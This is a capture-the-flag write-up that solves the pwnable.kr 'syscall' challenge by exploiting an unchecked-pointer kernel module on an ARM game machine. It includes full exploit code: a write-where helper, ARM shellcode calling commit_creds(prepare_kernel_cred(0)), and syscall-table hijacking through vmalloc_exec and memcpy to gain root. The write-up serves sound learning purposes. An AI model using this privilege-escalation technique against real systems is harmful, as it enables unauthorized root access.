Elementary Kernel Exploitation

This post will describe a solution to the pwnable.kr syscall challenge.

This challenge is a kernel exploitation challenge. The goal is to exploit a kernel vulnerability in order to escalate our privileges on a game machine to root retrieve a flag.

We are provided with code for a kernel module which adds a new system call named sys_upper. The body of the code is as follows,

--snip--
#define SYS_CALL_TABLE        0x8000e348        // manually configure this address!!
#define NR_SYS_UNUSED        223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
    int len = strlen(in);
    int i;
    for(i=0; i<len; i++){
        if(in[i]>=0x61 && in[i]<=0x7a){
            out[i] = in[i] - 0x20;
        }
        else{
            out[i] = in[i];
        }
    }
    return 0;
}

static int __init initmodule(void ){
    sct = (unsigned int**)SYS_CALL_TABLE;
    sct[NR_SYS_UNUSED] = sys_upper;
    printk("sys_upper(number : 223) is added\n");
    return 0;
}
--snip--

Immediately we can see that this system call accepts two pointers from userspace and without verifying that the data they point to are in userspace (e.g. with the (strncpy_from_user) function). This provides both a read-where primitive (if in points into kernelspace) and a write-where primitive (if out points into kernelspace).

Since kptr_strict is disabled, allowing us to resolve kernel symbols from userspace as an unprivileged user through /proc/kallsyms, we should be able to exploit this vulnerability with only the write-where primitive.

We can now begin writing our exploit. We start with this:

int main(void) {
    get_root();

    if (getuid() != 0) {
        puts("failed to get root");
        return 1;
    }

    puts("got root");

    char *argv[] = { "sh", "-c", "cat /root/flag", NULL };
    execve("/bin/sh", argv, NULL);

    return 2;
}

In order to obtain root we will write shellcode into kernelspace and jump to it. We first write a function which utilizes the write-where primitive to write userspace data to any specified kernel address.

#define SYSN 223

char buf[32];

void do_write(unsigned long addr, char *data, size_t len) {
    int i;
    char c;

    for (i = 0; i < len; i++) {
        c = data[i];
        if (c >= 0x61 && c <= 0x7a) {
            c += 0x20;
        }
        if (!c) {
            puts("NUL byte found in write");
            exit(1);
        }
        buf[i] = c;
    }
    buf[i] = '\0';

    syscall(SYSN, buf, addr);
}

Note that we add 0x20 to each lowercase character in order to account for sys_upper turning each lowercase character into its respective uppercase letter by subtracting 0x20 from it. We also check for NUL bytes which would cut our write short.

We now write our kernel shellcode in ARM assembly.

.globl foo

.text

foo:
# prepare_kernel_cred
    stmfd sp!, {r4, lr}
    mov r0, #0
    ldr r4, =0x8003f924
    blx r4


# commit_creds
    ldr r4, =0x8003f56c
    blx r4

    ldmfd sp!, {r4, pc}

This calls prepare_kernel_cred(NULL), which returns a pointer to a struct cred with full capabilities and privileges (root).

We pass this return value to commit_creds, which applies the credentials to the current task. In C this might look like so:

commit_creds(prepare_kernel_cred(0));

We dump our shellcode into a C array. This can be done with a tool such as objdump. In this case a custom tool was used. We also replace the hardcoded function addresses with macros. In a real exploit one may wish to read these addresses directly from /proc/kallsyms or from kernel memory if kptr_restrict is enabled.

#define PREPARE_KERNEL_CRED 0x8003f924
#define COMMIT_CREDS 0x8003f56c

unsigned long sc[] = {
    0xe92d4010,
    0xe3a00000,
    0xe59f400c,
    0xe12fff34,
    0xe59f4008,
    0xe12fff34,
    0xe8bd8010,
    PREPARE_KERNEL_CRED,
    COMMIT_CREDS,
};

Now we can begin writing our get_root function. We will call a series of kernel functions by replacing an unimportant system call's table entry with their addresses. We've hard coded the kernel function addresses retrieved from /proc/kallsyms.

#define SYSN_FOO 222
#define SYS_CALL_TABLE 0x8000e348
#define VMALLOC_EXEC 0x800b015c
#define MEMCPY 0x8018fbe0

void get_root(void) {
    unsigned long mem;
    unsigned long d;
    long ret;

We first allocate executable memory in the kernel with vmalloc_exec.

d = VMALLOC_EXEC;
do_write(SYS_CALL_TABLE + SYSN_FOO * 4, (char *)&d, 4);
ret = syscall(SYSN_FOO, 4096 * 16);
mem = ret + 4;

Then we copy our shellcode into this buffer.

d = MEMCPY;
do_write(SYS_CALL_TABLE + SYSN_FOO * 4, (char *)&d, 4);
syscall(SYSN_FOO, mem, sc, sizeof(sc));

Finally we call this buffer.

d = mem;
do_write(SYS_CALL_TABLE + SYSN_FOO * 4, (char *)&d, 4);
syscall(SYSN_FOO);

And that's it. We can run the following on the game machine and paste our base64-encoded exploit.

$ base64 -d > e.c; gcc -mlong-calls -o e e.c; ./e
<base64>
^D

doing vmalloc_exec
doing memcpy
doing call
got root
Congratz!! <flag>